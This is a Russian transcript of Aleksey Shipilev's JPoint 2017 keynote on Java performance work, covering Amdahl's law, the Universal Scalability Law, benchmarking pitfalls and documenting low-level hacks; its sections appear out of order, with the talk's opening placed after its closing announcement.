По моему опыту, если вы возьмёте девелопера за руку, каким бы «senior» он ни был, сядете с ними и один раз попрофилируете ваш продукт, это уверенно купирует у него боязнь перформансной работы. У многих людей в голове есть такой блочок о том, что производительность — это сложно, что там есть всякие взаимосвязи между компонентами и прочее. И они не профилируют вообще, потому что сложно — значит, пока не надо. Но когда один раз садишься и проделываешь это с ними, у них снимается этот блок, они начинают профилировать самостоятельно. И те 90% ошибок, которые они могут разрешить до того, как к ним кто-нибудь придет, будет показывать профиль и стыдить их, они исправят заранее.

Причем «возьмите девелопера за руку» — это не значит, что вы загоняете их на конференцию, сажаете их в зал на 1000 человек, выходит докладчик и начинает там в профайлере что-то с умным видом возить. Так не работает. Работает по-другому: вы садитесь с конкретным девелопером на вашем проекте и делаете это на пару.

Жёлтая зона

Жёлтая зона — это усложнение кода в обмен на производительность, когда вы делаете вещи, которые вы бы не делали, если бы вам не хотелось больше производительности.



Ментальные ловушки там тоже есть.

Профилирование и диагностика

Первая ментальная ловушка: «Сейчас мы возьмем профайлер, посмотрим, что где, и как начнем оптимизировать».



Оказывается, в жёлтой зоне цена ошибки возросла: вы теперь производительность получаете, а что-то взамен этого теряете — поддерживаемость, сон разработчиков и так далее. Поэтому вам нужно вносить правильные изменения, которые требуют продвинутой диагностики, и профилировка — это только одна из частей диагностики. Ещё есть бенчмаркинг и прочее.

Обычно, когда люди впиливаются в жёлтую зону и начинают думать, что же оптимизировать, они открывают профайлер и видят это:



И что мы здесь будем оптимизировать? Перепишем на java.nio или скажем, что самый горячий метод — это java.lang.Object.wait, значит, надо разгонять его. Или там Unsafe.park, значит, нужно разгонять его… или SocketInputStream.socketRead0, или socketAccept — значит, нужно срочно переписывать всё на Netty, потому что сеть же видно. Правда, вся эта фигня из JMX, но об этом мы узнаем потом, через 3 месяца разработки. Или там Object.hashCode — скажем, что плохой HotSpot его не оптимизировал, а «вы нам обещали, что всё будет быстро и хорошо, а наш продукт не виноват».

Modus operandi в жёлтой зоне простой: оптимизируя, вы теперь должны будете объяснять, зачем вы это делаете. Может себе, а может и вашему project manager-у.

При этом желательно иметь иметь на руках:

• численные оценки прироста,
  
• и желательно иметь их до того, как вы потратили все ресурсы. А не тогда, когда три месяца разработки прошло, и вы сказали: «Ой, вы знаете, задача заняла три месяца, классно».
  
• Надо иметь понимание, что это самый дешёвый способ, и что этот способ — тот самый, который даст вам улучшение общей производительности.
  

Закон Амдала

Когда людям задаешь задачи на оценку производительности, неискушенные начинают жутко фейлить, потому что людям очень сложно в голове уложить нелинейные зависимости. Одна из таких нелинейных зависимостей — закон Амдала, и к нему приходят обычно следующим образом.

Предположим, у нас есть приложение. У него есть две независимые части: А и В. И мы, например, знаем, что часть А занимает 70% времени и разгоняется в 2 раза, а часть В занимает 30% времени и разгоняется в 6 раз. Можно разогнать только одну из них — ресурсов хватает только на это. Какую из этих систем мы будем разгонять? Если мы даже просто графически их уменьшим, видно:



Часть А работает на 70% общего времени. Лучше оптимизировать часть А, несмотря на то, что мы разгоняем её всего в 2 раза. Влияние на общий перформанс больше.

А если бы я был отдельно стоящим программистом, я бы, наверное, разгонял часть В в 6 раз. В моём недельном отчете эта цифра будет выглядеть гораздо лучше: «Вася разогнал в два раза, а я разогнал в шесть раз, поэтому мне нужно в три раза повысить зарплату».

Закон Амдала выводится следующим образом:



Если у нас есть speedup S, то он по определению — общее время A плюс B, деленное на новое время. Часть B там осталась той же самой, поэтому там «плюс B», а часть А уменьшилась в S_A раз. Если мы введем два обозначения: Part_A и Part_B, которые показывают относительное время частей A и B в этом приложении, то придём к такому выражению:


У этого соотношения есть забавные свойства. Например, если вы S_A устремите в бесконечность, то предел S:


Это не очевидная штука, её нужно несколько раз почувствовать на своей шкуре, чтобы понять. Вам будут показывать через такие вот графики:


… и говорить: если у вас есть приложение, в котором 80% занимает та часть, которая разгоняется, то разгоните её хоть до опупения, но speedup больше, чем в 5 раз, вы не получите.

Это означает, что если к вам приходит вендор базы данных и говорит: мы знаем, что в вашем ворклоаде 50% занимает база данных. Мы вам гарантируем, если вы поменяете ваш текущий солюшн на наш, не изменяя ни строчки кода, то ваш перформанс вырастет в 10 раз. Что вы должны ему на это сказать? (из аудитории) Bull shit!

Едем дальше: есть обобщение закона Амдала. Если мы немножко перевернем эти члены и введем два новых обозначения: p — это speedup A — это то, во сколько мы разогнали конкретную часть А, а альфа — это сколько всего остального есть, то этот закон можно записать вот в такой форме:



Штука в том, что у этих членов появляется некоторый физический смысл. Первый член обычно называется concurrency. Если мы пока проигнорируем второй член — contention — выражение будет означать: во сколько раз мы ускорили часть A, во столько же у нас получился общий speedup. Contention описывает влияние на производительность всего остального, обеспечивающего эту самую асимптоту в законе Амдала. Кстати, если графики этой функции начертить, получатся те же самые кривые, как в законе Амдала:



Однако, как правило, в большинстве приложений закон Амдала в такой форме не действует. Действует более сложный закон, когда туда добавляется ещё один член, который называется coherence, описывающий взаимодействие между компонентами.



Оказывается, если альфа и бета неотрицательные, то у вас нет асимптоты насыщения. У вас есть какой-то пик эффективности, а после этого производительность начинает падать. Многие люди, которые занимаются перформансом, на своей шкуре чувствовали этот закон, пока его не сформулировали как Universal Scalability Law (USL):



Понятия «universal» и «law» здесь использованы в естественно-научном смысле, то есть у него есть как бы теоретическое обоснование, но он не выведен аналитически. Он выведен как закон, который хорошо натягивается на эмпирические данные.

Систем с альфа и бета, равными нулю, не существует, потому есть много случаев, когда вы добавляете ресурсы в систему или что-то оптимизируете, и становится хуже. Например, вы сняли один bottleneck, но уперлись в другой, более тяжелый.

Измерение производительности

Ментальная ловушка с измерением производительности говорит: «Поскольку там всё сложно, а мы не знаем, как всё повлияет на производительность, мы просто находим что-то и смотрим, что нам скажут бенчмарки».



На самом деле перформансное тестирование — дико дорогое, и всё особенно не протестируешь. Перформансные тесты от функциональных отличаются тем, что функциональные (например, юнит-тесты) проходят за 100 миллисекунд или меньше, даже если они пачкой исполняются. С перформансными тестами не всё так гладко. Там тесты проходят от минуты и выше, могут проходить часами. Это означает, что одно изменение может быть протестировано за сотни машинных часов. Если вы делаете кучу коммитов в день, то вам требуется очень большой парк оборудования, чтобы вообще хоть как-то обеспечить проход через тестовую систему.

Перформансные тесты требуют изоляции, иначе они начинают говорить всякую ересь, потому что начинают взаимодействовать друг с другом.

Перформансные тесты, как правило, дают небинарные метрики. Функциональные тесты обычно говорят «PASS» или «FAIL» — бинарные метрики, а перформансные тесты говорят… «67». Хуже того: они говорят не «67», а «67 плюс минус 5». Это кроме всего прочего означает, что ошибки тестирования находятся только после разбора данных, когда вы понимаете, что у вас везде очень всё красиво, а вот здесь, в тёмном углу — данные, которые показывают, что эксперимент был палёный. Это означает, что все остальные данные тоже нужно выбросить и снова потратить сотни машинных часов на новый цикл.

И самое плохое, что бенчмарки вам дают данные-числа, а хочется-то вам результатов — какого-нибудь знания, которое можно достать из этих чисел. И если получение данных хорошо автоматизируется, то часть про извлечение смысла из этих данных, как правило, автоматизируется плохо, поскольку она требует человеческого понимания, что там и как может происходить.

Вывод — в активном проекте практически невозможно протестировать всё. Это означает, что у вас всё равно должны быть в голове некоторые оценки и умение разбираться, куда же копать, не прогоняя все бенчмарки на каждый чих.

Классификация бенчмарков

Многие люди делят бенчмарки на два больших класса: на макробенчмарки и микробенчмарки.



В макробенчмарках, как следует из приставки «макро», мы берём наш большой сайт, приложение или библиотеку целиком, пишем end-to-end тесты и смотрим, сколько же потребовалось времени одному виртуальному юзеру, чтобы купить наши бесконечно ценные товары в интернет-магазине. Нормальный тест.

Микробенчмарки — это маленькие рабочие нагрузки, когда мы берём маленькую часть нашего сайта или библиотеки, делаем маленький изолированный тест и замеряем конкретную часть.

Голоса в голове у разработчика обычно шепчут ему, что макробенчмарк отражает реальный мир, а микробенчмарки — зло.

Смотрите: реальный мир — большой, и макробенчмарк — большой. (заговорщицки) Стало быть, макробенчмарк отражает реальный мир. Поэтому некоторым кажется, что любой макробенчмарк — хороший. Дескать, запустил макробенчмарк — это real world и есть. Это означает, что для любой крутой фичи макробенчмарк даст крутое улучшение, потому что он же «real world». А если макробенчмарк не показывает улучшения, то эта фича плохая. И что для любого крутого бага макробенчмарк даст крутую регрессию, а если нет регрессии, то и бага нет. Это же «real-world», значит, то, что происходит в реальном мире, должно быть и в макробенчмарке.

С микробенчмарками — обратная ситуация. Голоса в голове разработчика подсказывают, что они зло, поэтому их можно игнорировать. Они говорят тебе, что показания микробенчмарка не важны, потому что его можно писать каким угодно, а, значит, регрессия или улучшение на нём ничего не значат. А когда они сталкиваются с реальным миром, приходит мысль, что микробенчмарки пишут враги, чтобы опорочить их продукт. Потому что написать их просто, можно написать какой угодно, значит, можно написать микробенчмарк, благодаря которому мы потом в white paper-е напишем, что наш продукт стал лучше, т.к. на таком ворклоаде он работает лучше.

Жизненный цикл бенчмарков

Если отбросить этот маркетинговый bull shit про микробенчмарки, окажется, что жизненный цикл все бенчмарки проходят примерно одинаково.


Если у вас есть большой бенчмарк — гигабайты кода, в которых дофига библиотек, кода и т.п., обычно он начинается с «невинной» стадии, когда он действительно тестирует многие части вашего продукта, ходит через многие слои и так далее. Допустим, они там занимают примерно одинаковое время. Но потом приходят злые девелоперы и начинают оптимизировать.


Мы начали с макробенчмарка, который покрывает многие части приложения, но в конце жизненного цикла его производительность утыкается в один большой bottleneck, который нам очень сложно разрешить. И это практически случай микробенчмарка, когда у нас есть изолированный тест, который тестирует одну вещь. Такой выродившийся макробенчмарк тоже тестирует только одну вещь.

Но всё же в этом есть некоторые плюсы. Неочевидный плюс следует из закона Амдала.


Возьмем приложение с двумя частями — красной и зелёной, которая оптимизируется. Даже если мы оптимизируем зелёную часть до 0, мы всё равно получим speedup всего лишь в два раза. Но если красная часть будет регрессировать (если мы, допустим, в 2 раза её регрессируем), окажется, что закон Амдала, у которого есть асимптота, превратится в линейную зависимость.


Иными словами, если мы регрессировали маленькую часть в тысячу раз, итоговая метрика тоже в существенное количество раз уменьшится.

Можно на графике это показать следующим образом:



По оси абсцисс у нас speedup конкретной части, а по оси ординат — speedup продукта целиком. В части, где у нас что-то улучшается, у нас есть асимптоты из закона Амдала, а там, где всё ухудшается, у нас практически линейная зависимость.

Проблема с тестированием стоит ещё в том, что эмпирическое перформансное тестирование — шумное. В экспериментах есть систематические и случайные ошибки.



Часто чувствительность теста вам просто может не показать улучшение от конкретного изменения. Если что-то улучшилось в 50 раз, то улучшение в общей системе будет ниже порога чувствительности теста, а если это же регрессировало в 50 раз, будет гораздо лучше видно. Это, кстати, ответ на вопрос, почему, когда вы занимаетесь производительностью, большая часть вещей, которые вы видите в своих автоматических репортах, — это регрессия. Потому что, как правило, тестирование более чувствительно к регрессии, а не к улучшению.

По моим наблюдениям:
Макробенчмарки:

• их мало, они написаны непонятно кем и непонятно как;
  
• сначала показывают интересные результаты, а потом вырождаются в микробенчмарки;
  
• в конце жизни всё равно применимы для регрессионного тестирования.
  

Т.е. сделать перформансное улучшение на макробенчмарках — это душераздирающая история.

Микробенчмарки:

• их тоже много, они тоже написаны непонятно как и непонятно кем, но зато они настолько маленькие, что их можно одним разумом охватить и исправить: понять, что там неправильно, и как-нибудь их модифицировать;
  
• на всех этапах жизненного цикла они показывают интересные результаты;
  
• хорошо реагируют и на регрессию, и на улучшение.
  

Поэтому если мы, к примеру, делаем перформансную оптимизацию, у нас всегда есть корпус микробенчмарков (очень чувствительных ворклоадов), на которых мы делаем изменения и выжимаем максимум. Только потом мы валидируем, что они не регрессировали и улучшили макробенчмарк.

Как вы ни крутитесь, а учиться микробенчмаркать вам придется. Самая интересная мысль состоит в том, что метод «просто возьми какой-нибудь удачный фреймворк и перепиши все ворклоады на нем» не работает, потому что недостаточно просто написать код бенчмарка и получить цифры. Чтобы понять, что происходит, нужно в эти цифры вглядеться, может быть, построить побочные эксперименты, грамотно их провести и проанализировать данные, а потом сделать выводы и построить так называемую перформансную модель — понять, как же ваше приложение или ваш стек реагирует на изменения в коде, конфигурации и так далее. Это вам даст возможность предсказать, что же будет происходить в будущем.

Оптимизация

Обычно, правда, происходит не так. Обычно люди падают в следующую ментальную ловушку:



«Мы попробовали, и оно улучшило метрики — стало не 100 операций в секунду, a 110. Наверное, потому что…» и дальше следует ссылка на какой-нибудь доклад с JPoint. Я, дескать, был на конференции, и там умный чувак сказал, что можно наступить на такую-то граблю. В итоге мы переписали умножение на не умножение, и у нас случился branch prediction или что-нибудь в этом духе (тут, главное, по-наукообразнее, чтоб вернее).

На самом деле часто бывает, что просто повезло с нагрузкой, с компонентом, с фазой луны. Чуть везение пропадёт, всё вернётся на круги своя. Как правило, по отношению к каждому улучшению нужно просматривать следующие варианты (если у меня есть улучшение, нужно понять, к чему оно относится):

1. Это косяк в моём коде, например, алгоритмическая проблема — квадратичный цикл или N^3, который я мог сделать за N log N. Если это косяк в моём коде, я просто делаю перманентное исправление, посыпаю голову пеплом, говорю, что я больше так никогда делать не буду, и всё идёт дальше своим чередом;
   
2. Или это косяк в моём использовании библиотеки или рантайма, о котором я раньше не знал, или знал, но забыл, или знал, но думал, что оно не очень важно. Ну, тогда мы тоже перманентно его исправляем и отправляем PR во внешнюю или внутреннюю документацию о том, что так делать нельзя;
   
3. Или это исправимый косяк в библиотеке или в рантайме. Тогда мы делаем временную заплатку в нашем продукте вокруг него, зарубаем себе на память, что это временная заплатка, чтобы её оттуда снести когда-нибудь;
   
4. Или это неисправимый косяк библиотеки или рантайма, но смигрировать с этой библиотеки или рантайма нам очень дорого. Тогда мы делаем перманентную заплатку, вносим в наши анналы технических логов, что делать нужно только так.
   

Если мы не классифицируем наши изменения по этим категориям, то может статься, что мы сделаем плохую временную заплатку против бага в нижнем слое, тот баг когда-нибудь исправится, и исправления в штатной библиотеке будут лучше, чем наша заплатка. Но мы уже будем платить за обслуживание заплатки, проваленный перформанс по сравнению с конкурентами, которые и не дёргались, и т.д.

Опции JVM

Ещё пример: что будет, если зная, что специальное в нашем приложении, мы подскажем JVM, в каком же режиме работать? Радости там очень простые: механическая симпатия, синергия и всё такое (мы знаем, как тюнить JVM).

На практике, конечно, это происходит иначе. Ты идешь в Google и ищешь: «JVM tuning options». Тебе вываливается такая лыжа:


Ты суешь её в свой конфиг, она действительно что-то улучшает, и ты рисуешь себе звёздочку «я умею тюнить JVM».

Конечно, там есть проблемы. Может статься, что в целом этот блок вам улучшил производительность, но там есть опции, которые в том числе её регрессировали. Если бы вы понимали, что вы делаете, вы могли бы взять всё улучшение, а не только его часть.

Параллелизм

Не важно, что у нас там где написано, мы возьмём parallelStream(), Eexecutor.submit, new Thread, засабмиттим кучу параллельных задач. Нормальная же идея? Радость тут в том, что особенных изменений в коде обычно не надо, если он изначально написан с мыслью о том, что когда-нибудь он будет многониточным.

Но там имеются те же проблемы: есть синхронизация, и непонятно, как она выстрелит на более широких тачках. Есть оверхеды — на мелких задачах вам не нужно параллелить, потому что у вас всё съестся на dispatching задач. Или если у вас есть staging, в котором у вас одинокий Вася тыкает в формочку, и там вам внутренний параллелизм помогает. Ну, например, там какой-нибудь запрос, и вы там внутри его сабмиттите в какой-нибудь мега-Hadoop, который вам параллельно делает MapReduce; и это всё работает быстрее, когда всё параллельно. А потом вы деплоите это в продакшн, и там внезапно оказывается, что у вас 10 000 пользователей, т.е. внутренний параллелизм вообще не нужен — у вас есть куча внешнего параллелизма, который уже и так эксплуатирует все ваши ресурсы.

Структуры данных

Ещё пример. Некоторые думают: «На конференциях мне рассказали, что вообще-то Integer и вообще обёртки над примитивами в Java — дорогая штука, поэтому мы возьмём и перепишем всё на массивы int и так далее».

Конечно, «int-овка — это праздник» в том смысле, что ты берёшь, переписываешь и думаешь, что совершаешь полезные действия. Проблемы, однако, очень большие: ты не знаешь наперёд, сколько у тебя съестся на конверсиях на обертки, сколько у тебя это сожрет времени разработки (выработка всех угловых случаев, конверсия туда-обратно всех коллекций, написание вставок, удалений, тормошений), и ты наверняка пропустишь оптимизации самой JDK в коллекциях и в какой-нибудь Valhalla.

Подитог для жёлтой зоны

Modus operandi: в жёлтой зоне наша главная задача — это поддержание правдоподобной перформансной модели проекта, потому что она говорит нам о том, где же нужно поменять, чтобы было хорошо и мы об этом потом не пожалели. Это необходимое условие развития проекта.

По моим наблюдениям более 50% потенциальных изменений делается не там, где стоит. И промахиваются они обычно по очень простой причине: команды разбиты по компонентам, и они могут быстро сделать изменения в своём компоненте, даже если «по чесноку» надо сделать багфикс в компоненте другой команды.

Как правило, более 80% изменений делается в нужном месте после исследования (а 83% всех статистических данных, как правило, верны).

Умение исследовать и обновлять свои знания о проекте целиком помогает принимать правильные решения. Если у вас команды разделены по компонентам, то имейте, пожалуйста, людей, которые смогут смотреть на этот проект со стороны, которые будут понимать, как компоненты друг с другом связаны и какие изменения делать. Обычно эту роль выполняет архитектор. Но архитекторы, как правило, перегружены, поэтому они нанимают перформансников, которые помогают кормить их данными о том, что происходит в проекте. Таким образом, можно помогать архитектору в голове обновлять эту самую перформансную модель.

Красная зона

Мотивация в красной зоне: когда мы выбрали все разумные способы улучшить производительность, остались неразумные способы. Неразумные способы — это эксплуатация кривизны нижних слоев, грязные хаки, залезания в кишки. Как правило, в абсолютном большинстве проектов туда ходить не надо.


Грамотное техническое руководство, вменяемый техлид, проджект-менеджер или, в конце концов, заботливая мама должны вам сказать: «Туда ходить не надо»!



Основная идея в красной зоне простая — мы хотим улучшить производительность за счет эксплуатации особенностей реализации в нижних слоях.



Например:

• мы обнаруживаем, что в библиотеке, которая нам очень нравится, есть скрытый приватный метод, который делает что-то быстрее. Типичный хак: мы возьмем этот метод через reflection и дернем;
  
• или мы почитаем ход библиотеки и узнаем, что если мы дернем публичные методы в некотором особом порядке (я такое называю API-акупунктурой), то мы переведем этот объект в некоторое, более приемлемое для нас состояние — возможно, будет работать быстрее;
  
• или мы возьмем и просто захачим целые куски приватного API;
  
• или мы начнём эксплуатировать особенности конкретных железок, на которых мы исполняемся, конкретного JDK, который мы таргетим — т.е. заниматься низкоуровневыми оптимизациями.
  

Профилирование и диагностика

Обычно всё оказываются в этой зоне случайно. Когда все возможные варианты выбраны, они говорят себе: «Ну ладно, будем думать, что же делать дальше». И им кажется, что если долго смотреть в профиль, то там можно увидеть решение. Им понятно, что решение будет сложным, значит, нужно долго смотреть.



На самом деле, умение хакать в красной зоне вырастает из понимания взаимодействия движущихся деталей. И вот в этом месте появляются перформансники — это люди, которые всем остальным особенно не занимаются, но умеют копаться во всех слоях сразу. Они — ходячая энциклопедия, у них в голове набор хаков, которые работают в таких-то условиях. Они знают границы их применимости. Самое главное, что это люди, которые не впадают в ступор, когда видят незнакомую хрень, а начинают её изучать.

Если они видят профиль, из которого ничего не ясно, они говорят: «Ну и ладно, отбросим этот профиль, давайте делать эксперименты, которые нам принесут какие-то новые данные». Здесь работает систематический индуктивный способ набора данных. Изучать для них — это не означает нафигачить кусок кода, запостить его на StackOverflow и спрашивать: «У нас тут такая перформансная проблема, что бы это могло быть?» И ждать, пока к ним придут какие-нибудь люди, типа Джона Скита, и будут рассказывать, как и что там нужно сделать. Изучать — значит читать документацию, искать упоминания в статьях, делать эксперименты, выуживать знания из коллег, каким-нибудь образом их систематизировать и так далее. Многие люди приезжают на конференции для этого.

Трюки с конференций

Есть ещё одна ментальная ловушка: «Если долго ездить по конференциям, когда-нибудь на какой-нибудь конференции расскажут трюк, который в нашем проекте даст улучшение в пять раз, и мы тогда отобьем весь бюджет, потраченный на билеты».



На самом деле в конкретном случае спасает один низкоуровневый трюк из тысячи. Его проще найти самостоятельно, чем ждать у моря погоды. Самое забавное, что я вижу в программистской тусовке, так это то, что большая часть обсуждений производительности — она о низкоуровневых хаках:



Как правило, все эти штуки происходят в условиях, когда у программистов в проектах есть простые алгоритмические преобразования, которые многократно могут улучшить производительность. Но поскольку им на конференциях рассказывали, что умный HotSpot как-нибудь компилирует, поэтому нужно свой проект модифицировать, чтобы он хорошо скомпилировался HotSpot-ом, они упускают главное — что на самом деле у них есть изменения, которые они могут найти сами (и сделать это быстро), и это улучшит производительность.

Костыли

Если мы в красной зоне и находим такого рода низкоуровневую разницу, которая на самом деле в большинстве случаев является разницей в реализации оптимизаторов (многие из упомянутых выше случаев на самом деле должны работать одинаково), мы можем захачить. Но хаки должны быть временными заплатками, а не основой нашего проекта.



Как правило, они указывают на проблемы в слое ниже, поскольку слой ниже на самом деле должен предоставить более вменяемую перформансную модель, в которой любой вариант заработает лучше. Если вы будете слушать доклад, в котором вам будут рассказывать про разную низкоуровневую дичь, пожалуйста, не воспринимайте его как руководство к немедленному действию. Этот доклад помогает вам наработать корпус возможных хаков, которые, может быть, когда-нибудь понадобятся, если сильно припрет.

Пример

Есть очень простой пример, который недавно был найден в JDK 9.



Eсть в Java тип ArrayList, у него есть итератор, который реализуется через inner class Itr. У этого класса Itr, поскольку он приватный, есть синтетический так называемый bridge-метод (публичный), чтобы можно было конструктор Itr вызвать. Проблема в том, что если мы зовем Itr, Hotspot-овский инлайнер ломается, поскольку он видит в сигнатуре этого метода классы, которые ещё не загружены.

Где эта ошибка (недооптимизация)? Это ошибка в коде ArrayList-а? Скорее, нет. Это ошибка в коде javac? Скорее, да. Это недооптимизация в коде hotspot-а? Скорее, да. Но проще захачить его прямо в ArrayList, пока компиляторщики не придут в себя и не поймут, как это исправить в компиляторе.



Поэтому там делается такой конструктор без аргументов, там записывается ссылка на баг, почему этот конструктор сделан и т.д.

Подходы к исправлениям

Когда ты долго копаешься в красной зоне, к тебе обычно приходят люди и говорят: «Давайте быстро захачим, и всё будет зашибись». Ментальная ловушка очень простая: они действительно думают, если мы быстро покрутим каким-нибудь хаком, будет здорово.



Практика показывает, что в красной зоне «зашибись» не будет никогда.
В качестве примера (я его вижу постоянно):


Мы обнаружили перформансную проблему в JDK. Вместо того, чтобы её исправить в JDK, мы сказали: «Ну нет. Мы через Unsafe хакнем». А потом оказывается, что Unsafe ушёл, и даже setAccessible() не работает. Поэтому не обманывайте себя. Работая в красной зоне, вы вносите технический долг.


Всегда документируйте, для чего хак выполнен, при каких условиях применим, как проверить, что он больше не нужен, какие upstream-баги вы ждёте и так далее.

Меня на уроках ОБЖ в школе учили накладывать жгут. Я до сих пор вспоминаю эту инструкцию, что ты накладываешь этот жгут выше или ниже раны, в зависимости от того, какого цвета кровь хлещет. Но вспоминаю я из-за отдельного пункта инструкции: после того, как ты жгут наложил на тело своего товарища, ты должен записочку туда вложить, с таймстампом.

Каждый раз, когда я делаю такой хак в нашим коде, у меня в голове именно эта история: я накладываю жгут на больное место в своём коде и должен там написать, что это сделано тогда-то по такой-то причине, потому что есть такой-то баг, и этот жгут можно удалить, только если такие-то условия выполнены. Это дает возможность мне или другим моим коллегам, когда они обнаружили этот код, понять, стоит ли сразу это отпиливать, или, если ты снимешь жгут, это убьёт весь остальной проект (или вашего боевого товарища).

Подитог в красной зоне

Я не запрещаю вам делать хаки. Глупо было бы увещевать об этом, вы их всё равно будете делать, потому что иногда по-другому никак. Но удержание численности и плотности хаков в вашем проекте — необходимое условие его выживания.

Умение работать с upstream-ами (если вы, например, занимаетесь open-source-ом, коммитить свои изменения в репозиторий выше) сильно облегчает вашу же долговременную судьбу. Потому что чем больше ваш внутренний заплатками покрытый продукт разойдется с upstream-ом, тем дороже вам же будет его поддерживать.

Умение разбираться во всех этих слоях успешно тренируется «на кошках» в том смысле, что у вас наверняка должны быть staging environment, на которых можно хачить и делать всякие нетривиальные изменения.

Напутствие

Но вот мы на хардкорной конференции. Что же нам с этим всем богатством делать?
Если вы на хардкорной конференции и вы — пользователь продуктов, то с моей точки зрения, как человека, который занимается производительностью, вам здесь стоит:

• обновить запас информации о применимости хаков из красной зоны. Не то чтобы вам прямо сейчас начинать записывать, какие хаки из красной зоны вам внедрить в свой продакшн, а просто обновить этот словарь;
  
• найти сообщников и обсудить подходы работы в жёлтой. О том, как точнее профилировать и мониторить и так далее;
  
• или обсудить, какие приемы из жёлтой зоны уже завещать в зелёную зону, т.е. какие вещи, которые вы считали раньше обменом сложности на производительность, теперь являются просто стандартной практикой написания кода.
  

Если вы — разработчик продукта, то:

• помочь своим пользователям обсудить подходы работы в жёлтой зоне — как профилировать, как мониторить и так далее;
  
• и понять, какие хаки из красной зоны, с которыми люди постоянно сталкиваются, стоит перетащить либо в жёлтую, либо в зелёную зону.
  

Пожалуйста, помните, что основная перформансная работа проходит в зелёной зоне. Каждый раз, когда вы занимаетесь производительностью проекта, сначала смотрите на простые вещи. Именно они вам дадут больший выхлоп по производительности. Про них никто не будет рассказывать на конференции, потому что это скучно. Вам обычно будут рассказывать про жёлтую или красную зону, потому что это клёво и поднимает докладчика в своих глазах. Про то, как кто-то героически поменял LinkedList на ArrayList, обычно никто не будет говорить, потому что это как-то стыдно… (конец)

---

На Joker 2017 Алексей Шипилёв выступит с новым докладом «Shenandoah: сборщик мусора, который смог (часть 2)» и расскажет о проблемах, с которыми вынужден столкнуться низкопаузный GC вроде Shenandoah, и о том, что с ними можно сделать на уровне JVM. Конференция пройдет 3 и 4 ноября в Санкт-Петербурге. Программа и анонсы других докладов есть на официальном сайте мероприятия.

Original source: habrahabr.ru (comments, light).

Оптимизация производительности издавна не дает покоя разработчикам, представляясь своеобразным «золотым ключиком» к интересным решениям и хорошему послужном списку. Большую обзорную экскурсию по ключевым вехам оптимизации больших проектов  – от общих принципов до ловушек и противоречий —  на прошедшем JPoint 2017 провел Алексей Шипилёв, эксперт по производительности.



Под катом — расшифровка его доклада.

А вот тут можно найти саму презентацию: jpoint-April2017-perf-keynote.pdf

О спикере
Алексей Шипилёв — в проблематике производительности Java более 10 лет. Сейчас работает в Red Hat, где разрабатывает OpenJDK и занимается его производительностью. Разрабатывает и поддерживает несколько подпроектов в OpenJDK, в том числе JMH, JOL и JCStress. До Red Hat работал над Apache Harmony в Intel, а затем перешел в Sun Microsystems, которая была поглощена Oracle. Активно участвует в экспертных группах и сообществах, работающих над вопросами производительности и многопоточности.

Я работаю в компании Red Hat. Раньше, когда я работал в Oracle, мы вставляли «Safe Harbor»-слайды, которые говорили, что всё, что мы будем вам рассказывать, на самом деле может быть неправдой, поэтому нужно думать своей головой. Если вы пытаетесь внедрить какие-нибудь решения в свои продукты, неплохо было бы нанять профессионалов, которые вам скажут, что там правда, а что — нет.

Крупно: каковы критерии успеха в разработке

Предположим, вы разрабатываете продукт. Что для вас успешный продукт? Мы тут все — коммерческие программисты. Мы можем обманывать себя тем, что нам платят зарплату за то, что мы кодим. Но на самом деле нам платят зарплату для того, чтобы продавались либо сервисы, которые продукты обслуживают, либо продукты целиком.



Но какие существуют чисто разработческие критерии успешности продукта (без учета бизнес-цели)?

• Когда ты общаешься с программистами, они обычно говорят, что хороший (успешный) продукт — тот, у которого корректная реализация.
  
• Потом приходят безопасники и говорят: «Вы там, конечно, накодили, но неплохо было бы сделать так, чтобы там не было дырок. Потому что иначе мы-то продадим, но потом нас в суд потащат». Однако это тоже не главное.
  
• Главный критерий успешности проекта — это соответствие того, что получилось, желаниям пользователя. Конечно, если у нас есть хороший маркетинговый департамент, он может объяснить клиенту, что результат — это именно то, что он хочет. Но в большинстве случаев хочется, чтобы клиент сам это понял. Очень много программистов как бы на подкорке это имеют в виду, но очень мало людей это прямо вербализируют.
  
• Где-то на четвёртом месте — быстрота и удобство разработки. Это удобство и не сумасшествие программистов. Когда вы во время найма разговариваете с HR-ами, они будут обещать всякие плюшки, массаж и тому подобное, но на самом деле бизнесу всё равно, как вам там живётся, при условии, что вы всё ещё работаете и не собираетесь уходить. И что код написан условно хорошо, а не так, что вы хотите выброситься из окна или пойти работать в другую компанию.
  
• Производительность обычно стоит ещё ниже в списке приоритетов. Часто её даже нет в критериях успеха. Продукт хоть как-то шевелится, да и слава Богу.
  

Поэтому я удивляюсь, когда читаю на Хабре посты про производительность Java и вижу там подобные комментарии:



Эксперты говорят: «Ну а что говорить по производительность Java? Она работает нормально. Нас устраивает, всё хорошо». Но приходят комментаторы и отвечают: «Очень показательно, что никто из четырех экспертов не оценил Java, как быструю. Скорее, как достаточную и удовлетворяющую».

Вы говорите так, будто это плохо. Если с точки зрения бизнеса технология удовлетворяет бизнес-критериям, то и слава Богу! У меня нет идеалистических представлений о том, что всё должно быть вылизано, гладко, идеально. Так не бывает — обычно продукты содержат ошибки.

Корректная vs быстрая программа

Люди давно научились некоторому двойному мышлению по поводу корректности программ. (спрашивает в зал) Кто может честно сказать, что в его программах есть баги? (в зале много рук) Подавляющее большинство. Но все же считают, что их программы более-менее корректны. Понятие корректной программы обладает симметрией с понятием быстрой программы.



«Корректная программа» — это программа, в которой не видно бесящих пользователя ошибок. То есть ошибки там вообще-то есть, но они не заставляют пользователя отказаться от покупки продукта. С «быстрой программой» симметричная ситуация — в ней не то, чтобы нет перформансных проблем, просто эти проблемы не бьют пользователя по темечку каждый раз, когда он пытается что-то сделать.

«В критерии успеха вложились». Критерии успеха есть как функциональные, так и перформансные: хорошо, если программа отвечает за 100 миллисекунд. Отвечает? Отлично, едем дальше.

«Количество багов в корректной программе обычно известно». Это как раз одна из показательных метрик взрослости проекта, поскольку ноль багов в программе означает, что никто толком не заботится о том, чтобы их в багтрекере регистрировать (потому что у вас и пользователей нет, ха-ха!). С перформансными проблемами такая же история. Перформансные проблемы известны, и тогда мы говорим, что это «быстрая» программа. (делает воздушные кавычки)


Как в корректной, так и в быстрой программе пути обхода этих перформансных и функциональных багов известны. У вас есть FAQ, который говорит: «Если вы сделаете так, то будет больно; ну дак и не делайте так».

Стадии развития проектов — кривая им. Ш

Практически все проекты, где я участвовал в перформансной работе, проходят некоторые стандартные фазы развития. Когда-то я сформулировал, что эти фазы выглядят примерно так:



Это параметрический график: время тут течет от точки «A» до точки «B», «C», «D», «E». По оси ординат у нас производительность, по оси абсцисс — некоторая абстрактная сложность кода.

